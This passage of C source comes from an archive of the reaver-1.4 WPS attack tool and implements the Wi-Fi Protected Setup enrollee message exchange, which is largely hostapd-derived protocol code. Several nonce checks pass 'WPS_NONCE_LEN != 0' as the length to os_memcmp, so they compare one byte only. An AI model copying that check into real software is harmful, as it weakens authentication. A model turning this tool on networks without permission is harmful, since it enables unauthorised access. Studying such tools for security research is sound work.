wps_build_wsc_ack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_ACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_ACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } return msg; } static struct wpabuf * wps_build_wsc_nack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_NACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_NACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_config_error(msg, wps->config_error)) { wpabuf_free(msg); return NULL; } return msg; } struct wpabuf * wps_enrollee_get_msg(struct wps_data *wps, enum wsc_op_code *op_code) { struct wpabuf *msg; switch (wps->state) { case SEND_M1: msg = wps_build_m1(wps); *op_code = WSC_MSG; break; case SEND_M3: msg = wps_build_m3(wps); *op_code = WSC_MSG; break; case SEND_M5: msg = wps_build_m5(wps); *op_code = WSC_MSG; break; case SEND_M7: msg = wps_build_m7(wps); *op_code = WSC_MSG; break; case RECEIVED_M2D: if (wps->wps->ap) { msg = wps_build_wsc_nack(wps); *op_code = WSC_NACK; break; } msg = wps_build_wsc_ack(wps); *op_code = WSC_ACK; if (msg) { /* Another M2/M2D may be received */ wps->state = RECV_M2; } break; case SEND_WSC_NACK: msg = wps_build_wsc_nack(wps); *op_code = WSC_NACK; break; case WPS_MSG_DONE: msg = wps_build_wsc_done(wps); *op_code = WSC_Done; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported state %d for building " "a message", wps->state); msg = NULL; break; } if (*op_code == WSC_MSG && msg) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return msg; } static int wps_process_registrar_nonce(struct wps_data *wps, const u8 *r_nonce) { if (r_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Registrar Nonce received"); return -1; } os_memcpy(wps->nonce_r, r_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); return 0; } static int wps_process_enrollee_nonce(struct wps_data *wps, const u8 *e_nonce) { if (e_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Enrollee Nonce received"); return -1; } if (os_memcmp(wps->nonce_e, e_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid Enrollee Nonce received"); return -1; } return 0; } static int wps_process_uuid_r(struct wps_data *wps, const u8 *uuid_r) { if (uuid_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: No UUID-R received"); return -1; } os_memcpy(wps->uuid_r, uuid_r, WPS_UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-R", wps->uuid_r, WPS_UUID_LEN); return 0; } static int wps_process_pubkey(struct wps_data *wps, const u8 *pk, size_t pk_len) { if (pk == NULL || pk_len == 0) { wpa_printf(MSG_DEBUG, "WPS: No Public Key received"); return -1; } #ifdef CONFIG_WPS_OOB if (wps->dev_pw_id != DEV_PW_DEFAULT && wps->wps->oob_conf.pubkey_hash) { const u8 *addr[1]; u8 hash[WPS_HASH_LEN]; addr[0] = pk; sha256_vector(1, addr, &pk_len, hash); if (os_memcmp(hash, wpabuf_head(wps->wps->oob_conf.pubkey_hash), WPS_OOB_PUBKEY_HASH_LEN) != 0) { wpa_printf(MSG_ERROR, "WPS: Public Key hash error"); return -1; } } #endif /* CONFIG_WPS_OOB */ wpabuf_free(wps->dh_pubkey_r); wps->dh_pubkey_r = wpabuf_alloc_copy(pk, pk_len); if (wps->dh_pubkey_r == NULL) return -1; if (wps_derive_keys(wps) < 0) return -1; return 0; } static int wps_process_r_hash1(struct wps_data *wps, const u8 *r_hash1) { if (r_hash1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-Hash1 received"); return -1; } os_memcpy(wps->peer_hash1, r_hash1, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash1", wps->peer_hash1, WPS_HASH_LEN); return 0; } static int wps_process_r_hash2(struct wps_data *wps, const u8 *r_hash2) { if (r_hash2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-Hash2 received"); return -1; } os_memcpy(wps->peer_hash2, r_hash2, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash2", wps->peer_hash2, WPS_HASH_LEN); return 0; } static int wps_process_r_snonce1(struct wps_data *wps, const u8 *r_snonce1) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (r_snonce1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-SNonce1 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: R-SNonce1", r_snonce1, WPS_SECRET_NONCE_LEN); /* R-Hash1 = HMAC_AuthKey(R-S1 || PSK1 || PK_E || PK_R) */ addr[0] = r_snonce1; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash1, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: R-Hash1 derived from R-S1 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 1, 1); return -1; } wpa_printf(MSG_DEBUG, "WPS: Registrar proved knowledge of the first " "half of the device password"); return 0; } static int wps_process_r_snonce2(struct wps_data *wps, const u8 *r_snonce2) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (r_snonce2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-SNonce2 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: R-SNonce2", r_snonce2, WPS_SECRET_NONCE_LEN); /* R-Hash2 = HMAC_AuthKey(R-S2 || PSK2 || PK_E || PK_R) */ addr[0] = r_snonce2; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash2, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: R-Hash2 derived from R-S2 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 1, 2); return -1; } wpa_printf(MSG_DEBUG, "WPS: Registrar proved knowledge of the second " "half of the device password"); return 0; } static int wps_process_cred_e(struct wps_data *wps, const u8 *cred, size_t cred_len) { struct wps_parse_attr attr; struct wpabuf msg; wpa_printf(MSG_DEBUG, "WPS: Received Credential"); os_memset(&wps->cred, 0, sizeof(wps->cred)); wpabuf_set(&msg, cred, cred_len); if (wps_parse_msg(&msg, &attr) < 0 || wps_process_cred(&attr, &wps->cred)) return -1; if (os_memcmp(wps->cred.mac_addr, wps->wps->dev.mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: MAC Address in the Credential (" MACSTR ") does not match with own address (" MACSTR ")", MAC2STR(wps->cred.mac_addr), MAC2STR(wps->wps->dev.mac_addr)); /* * In theory, this could be consider fatal error, but there are * number of deployed implementations using other address here * due to unclarity in the specification. For interoperability * reasons, allow this to be processed since we do not really * use the MAC Address information for anything. */ } if (wps->wps->cred_cb) { wps->cred.cred_attr = cred - 4; wps->cred.cred_attr_len = cred_len + 4; wps->wps->cred_cb(wps->wps->cb_ctx, &wps->cred); wps->cred.cred_attr = NULL; wps->cred.cred_attr_len = 0; } return 0; } static int wps_process_creds(struct wps_data *wps, const u8 *cred[], size_t cred_len[], size_t num_cred) { size_t i; if (wps->wps->ap) return 0; if (num_cred == 0) { wpa_printf(MSG_DEBUG, "WPS: No Credential attributes " "received"); return -1; } for (i = 0; i < num_cred; i++) { if (wps_process_cred_e(wps, cred[i], cred_len[i])) return -1; } return 0; } static int wps_process_ap_settings_e(struct wps_data *wps, struct wps_parse_attr *attr, struct wpabuf *attrs) { struct wps_credential cred; if (!wps->wps->ap) return 0; if (wps_process_ap_settings(attr, &cred) < 0) return -1; wpa_printf(MSG_INFO, "WPS: Received new AP configuration from " "Registrar"); if (os_memcmp(cred.mac_addr, wps->wps->dev.mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: MAC Address in the AP Settings (" MACSTR ") does not match with own address (" MACSTR ")", MAC2STR(cred.mac_addr), MAC2STR(wps->wps->dev.mac_addr)); /* * In theory, this could be consider fatal error, but there are * number of deployed implementations using other address here * due to unclarity in the specification. For interoperability * reasons, allow this to be processed since we do not really * use the MAC Address information for anything. */ } if (wps->wps->cred_cb) { cred.cred_attr = wpabuf_head(attrs); cred.cred_attr_len = wpabuf_len(attrs); wps->wps->cred_cb(wps->wps->cb_ctx, &cred); } return 0; } static enum wps_process_res wps_process_m2(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M2"); if (wps->state != RECV_M2) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M2", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_uuid_r(wps, attr->uuid_r)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->wps->ap && (wps->wps->ap_setup_locked || wps->dev_password == NULL)) { wpa_printf(MSG_DEBUG, "WPS: AP Setup is locked - refuse " "registration of a new Registrar"); wps->config_error = WPS_CFG_SETUP_LOCKED; wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_pubkey(wps, attr->public_key, attr->public_key_len) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_device_attrs(&wps->peer_dev, attr)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wps->state = SEND_M3; return WPS_CONTINUE; } static enum wps_process_res wps_process_m2d(struct wps_data *wps, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M2D"); if (wps->state != RECV_M2) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M2D", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Manufacturer", attr->manufacturer, attr->manufacturer_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Name", attr->model_name, attr->model_name_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Number", attr->model_number, attr->model_number_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", attr->serial_number, attr->serial_number_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Device Name", attr->dev_name, attr->dev_name_len); if (wps->wps->event_cb) { union wps_event_data data; struct wps_event_m2d *m2d = &data.m2d; os_memset(&data, 0, sizeof(data)); if (attr->config_methods) m2d->config_methods = WPA_GET_BE16(attr->config_methods); m2d->manufacturer = attr->manufacturer; m2d->manufacturer_len = attr->manufacturer_len; m2d->model_name = attr->model_name; m2d->model_name_len = attr->model_name_len; m2d->model_number = attr->model_number; m2d->model_number_len = attr->model_number_len; m2d->serial_number = attr->serial_number; m2d->serial_number_len = attr->serial_number_len; m2d->dev_name = attr->dev_name; m2d->dev_name_len = attr->dev_name_len; m2d->primary_dev_type = attr->primary_dev_type; if (attr->config_error) m2d->config_error = WPA_GET_BE16(attr->config_error); if (attr->dev_password_id) m2d->dev_password_id = WPA_GET_BE16(attr->dev_password_id); wps->wps->event_cb(wps->wps->cb_ctx, WPS_EV_M2D, &data); } wps->state = RECEIVED_M2D; return WPS_CONTINUE; } static enum wps_process_res wps_process_m4(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M4"); if (wps->state != RECV_M4) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M4", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_r_hash1(wps, attr->r_hash1) || wps_process_r_hash2(wps, attr->r_hash2)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_r_snonce1(wps, eattr.r_snonce1)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M5; return WPS_CONTINUE; } static enum wps_process_res wps_process_m6(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M6"); if (wps->state != RECV_M6) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M6", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_r_snonce2(wps, eattr.r_snonce2)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M7; return WPS_CONTINUE; } static enum wps_process_res wps_process_m8(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M8"); if (wps->state != RECV_M8) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M8", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_creds(wps, eattr.cred, eattr.cred_len, eattr.num_cred) || wps_process_ap_settings_e(wps, &eattr, decrypted)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = WPS_MSG_DONE; return WPS_CONTINUE; } static enum wps_process_res wps_process_wsc_msg(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; enum wps_process_res ret = WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Received WSC_MSG"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } switch (*attr.msg_type) { case WPS_M2: ret = wps_process_m2(wps, msg, &attr); break; case WPS_M2D: ret = wps_process_m2d(wps, &attr); break; case WPS_M4: ret = wps_process_m4(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M4); break; case WPS_M6: ret = wps_process_m6(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M6); break; case WPS_M8: ret = wps_process_m8(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M8); break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported Message Type %d", *attr.msg_type); return WPS_FAILURE; } /* * Save a copy of the last message for Authenticator derivation if we * are continuing. However, skip M2D since it is not authenticated and * neither is the ACK/NACK response frame. This allows the possibly * following M2 to be processed correctly by using the previously sent * M1 in Authenticator derivation. */ if (ret == WPS_CONTINUE && *attr.msg_type != WPS_M2D) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return ret; } static enum wps_process_res wps_process_wsc_ack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_ACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_ACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (wps->state == RECV_ACK && wps->wps->ap) { wpa_printf(MSG_DEBUG, "WPS: External Registrar registration " "completed successfully"); wps_success_event(wps->wps); wps->state = WPS_FINISHED; return WPS_DONE; } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_nack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_NACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_NACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); wpa_hexdump(MSG_DEBUG, "WPS: Received Registrar Nonce", attr.registrar_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Expected Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); wpa_hexdump(MSG_DEBUG, "WPS: Received Enrollee Nonce", attr.enrollee_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Expected Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); return WPS_FAILURE; } if (attr.config_error == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error attribute " "in WSC_NACK"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Registrar terminated negotiation with " "Configuration Error %d", WPA_GET_BE16(attr.config_error)); switch (wps->state) { case RECV_M4: wps_fail_event(wps->wps, WPS_M3); break; case RECV_M6: wps_fail_event(wps->wps, WPS_M5); break; case RECV_M8: wps_fail_event(wps->wps, WPS_M7); break; default: break; } /* Followed by NACK if Enrollee is Supplicant or EAP-Failure if * Enrollee is Authenticator */ wps->state = SEND_WSC_NACK; return WPS_FAILURE; } enum wps_process_res wps_enrollee_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: Processing received message (len=%lu " "op_code=%d)", (unsigned long) wpabuf_len(msg), op_code); if (op_code == WSC_UPnP) { /* Determine the OpCode based on message type attribute */ struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type) { if (*attr.msg_type == WPS_WSC_ACK) op_code = WSC_ACK; else if (*attr.msg_type == WPS_WSC_NACK) op_code = WSC_NACK; } } switch (op_code) { case WSC_MSG: case WSC_UPnP: return wps_process_wsc_msg(wps, msg); case WSC_ACK: return wps_process_wsc_ack(wps, msg); case WSC_NACK: return wps_process_wsc_nack(wps, msg); default: wpa_printf(MSG_DEBUG, "WPS: Unsupported op_code %d", op_code); return WPS_FAILURE; } } reaver-1.4/src/wps/wps.c0000755000175000017500000003134511705505257014571 0ustar reaverreaver/* * Wi-Fi Protected Setup * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/dh_group5.h" #include "common/ieee802_11_defs.h" #include "wps_i.h" #include "wps_dev_attr.h" /** * wps_init - Initialize WPS Registration protocol data * @cfg: WPS configuration * Returns: Pointer to allocated data or %NULL on failure * * This function is used to initialize WPS data for a registration protocol * instance (i.e., each run of registration protocol as a Registrar of * Enrollee. The caller is responsible for freeing this data after the * registration run has been completed by calling wps_deinit(). */ struct wps_data * wps_init(const struct wps_config *cfg) { struct wps_data *data = os_zalloc(sizeof(*data)); if (data == NULL) return NULL; data->wps = cfg->wps; data->registrar = cfg->registrar; if (cfg->registrar) { os_memcpy(data->uuid_r, cfg->wps->uuid, WPS_UUID_LEN); } else { os_memcpy(data->mac_addr_e, cfg->wps->dev.mac_addr, ETH_ALEN); os_memcpy(data->uuid_e, cfg->wps->uuid, WPS_UUID_LEN); } if (cfg->pin) { data->dev_pw_id = data->wps->oob_dev_pw_id == 0 ? DEV_PW_DEFAULT : data->wps->oob_dev_pw_id; data->dev_password = os_malloc(cfg->pin_len); if (data->dev_password == NULL) { os_free(data); return NULL; } os_memcpy(data->dev_password, cfg->pin, cfg->pin_len); data->dev_password_len = cfg->pin_len; } data->pbc = cfg->pbc; if (cfg->pbc) { /* Use special PIN '00000000' for PBC */ data->dev_pw_id = DEV_PW_PUSHBUTTON; os_free(data->dev_password); data->dev_password = os_malloc(8); if (data->dev_password == NULL) { os_free(data); return NULL; } os_memset(data->dev_password, '0', 8); data->dev_password_len = 8; } data->state = data->registrar ? RECV_M1 : SEND_M1; if (cfg->assoc_wps_ie) { struct wps_parse_attr attr; wpa_hexdump_buf(MSG_DEBUG, "WPS: WPS IE from (Re)AssocReq", cfg->assoc_wps_ie); if (wps_parse_msg(cfg->assoc_wps_ie, &attr) < 0) { wpa_printf(MSG_DEBUG, "WPS: Failed to parse WPS IE " "from (Re)AssocReq"); } else if (attr.request_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Request Type attribute " "in (Re)AssocReq WPS IE"); } else { wpa_printf(MSG_DEBUG, "WPS: Request Type (from WPS IE " "in (Re)AssocReq WPS IE): %d", *attr.request_type); data->request_type = *attr.request_type; } } if (cfg->new_ap_settings) { data->new_ap_settings = os_malloc(sizeof(*data->new_ap_settings)); if (data->new_ap_settings == NULL) { os_free(data); return NULL; } os_memcpy(data->new_ap_settings, cfg->new_ap_settings, sizeof(*data->new_ap_settings)); } if (cfg->peer_addr) os_memcpy(data->peer_dev.mac_addr, cfg->peer_addr, ETH_ALEN); data->use_psk_key = cfg->use_psk_key; return data; } /** * wps_deinit - Deinitialize WPS Registration protocol data * @data: WPS Registration protocol data from wps_init() */ void wps_deinit(struct wps_data *data) { if (data->wps_pin_revealed) { wpa_printf(MSG_DEBUG, "WPS: Full PIN information revealed and " "negotiation failed"); if (data->registrar) wps_registrar_invalidate_pin(data->wps->registrar, data->uuid_e); } else if (data->registrar) wps_registrar_unlock_pin(data->wps->registrar, data->uuid_e); /* @@@ Free wpa key and essid pointers @@@ */ if(data->key) free(data->key); if(data->essid) free(data->essid); wpabuf_free(data->dh_privkey); wpabuf_free(data->dh_pubkey_e); wpabuf_free(data->dh_pubkey_r); wpabuf_free(data->last_msg); os_free(data->dev_password); os_free(data->new_psk); wps_device_data_free(&data->peer_dev); os_free(data->new_ap_settings); dh5_free(data->dh_ctx); os_free(data); } /** * wps_process_msg - Process a WPS message * @wps: WPS Registration protocol data from wps_init() * @op_code: Message OP Code * @msg: Message data * Returns: Processing result * * This function is used to process WPS messages with OP Codes WSC_ACK, * WSC_NACK, WSC_MSG, and WSC_Done. The caller (e.g., EAP server/peer) is * responsible for reassembling the messages before calling this function. * Response to this message is built by calling wps_get_msg(). */ enum wps_process_res wps_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { if (wps->registrar) return wps_registrar_process_msg(wps, op_code, msg); else return wps_enrollee_process_msg(wps, op_code, msg); } /** * wps_get_msg - Build a WPS message * @wps: WPS Registration protocol data from wps_init() * @op_code: Buffer for returning message OP Code * Returns: The generated WPS message or %NULL on failure * * This function is used to build a response to a message processed by calling * wps_process_msg(). The caller is responsible for freeing the buffer. */ struct wpabuf * wps_get_msg(struct wps_data *wps, enum wsc_op_code *op_code) { //if (wps->registrar) // return wps_registrar_get_msg(wps, op_code); // else return wps_enrollee_get_msg(wps, op_code); } /** * wps_is_selected_pbc_registrar - Check whether WPS IE indicates active PBC * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: 1 if PBC Registrar is active, 0 if not */ int wps_is_selected_pbc_registrar(const struct wpabuf *msg) { struct wps_parse_attr attr; /* * In theory, this could also verify that attr.sel_reg_config_methods * includes WPS_CONFIG_PUSHBUTTON, but some deployed AP implementations * do not set Selected Registrar Config Methods attribute properly, so * it is safer to just use Device Password ID here. */ if (wps_parse_msg(msg, &attr) < 0 || !attr.selected_registrar || *attr.selected_registrar == 0 || !attr.dev_password_id || WPA_GET_BE16(attr.dev_password_id) != DEV_PW_PUSHBUTTON) return 0; return 1; } /** * wps_is_selected_pin_registrar - Check whether WPS IE indicates active PIN * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: 1 if PIN Registrar is active, 0 if not */ int wps_is_selected_pin_registrar(const struct wpabuf *msg) { struct wps_parse_attr attr; /* * In theory, this could also verify that attr.sel_reg_config_methods * includes WPS_CONFIG_LABEL, WPS_CONFIG_DISPLAY, or WPS_CONFIG_KEYPAD, * but some deployed AP implementations do not set Selected Registrar * Config Methods attribute properly, so it is safer to just use * Device Password ID here. */ if (wps_parse_msg(msg, &attr) < 0) return 0; if (!attr.selected_registrar || *attr.selected_registrar == 0) return 0; if (attr.dev_password_id != NULL && WPA_GET_BE16(attr.dev_password_id) == DEV_PW_PUSHBUTTON) return 0; return 1; } /** * wps_get_uuid_e - Get UUID-E from WPS IE * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: Pointer to UUID-E or %NULL if not included * * The returned pointer is to the msg contents and it remains valid only as * long as the msg buffer is valid. */ const u8 * wps_get_uuid_e(const struct wpabuf *msg) { struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) < 0) return NULL; return attr.uuid_e; } /** * wps_build_assoc_req_ie - Build WPS IE for (Re)Association Request * @req_type: Value for Request Type attribute * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_assoc_req_ie(enum wps_request_type req_type) { struct wpabuf *ie; u8 *len; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for (Re)Association " "Request"); ie = wpabuf_alloc(100); if (ie == NULL) return NULL; wpabuf_put_u8(ie, 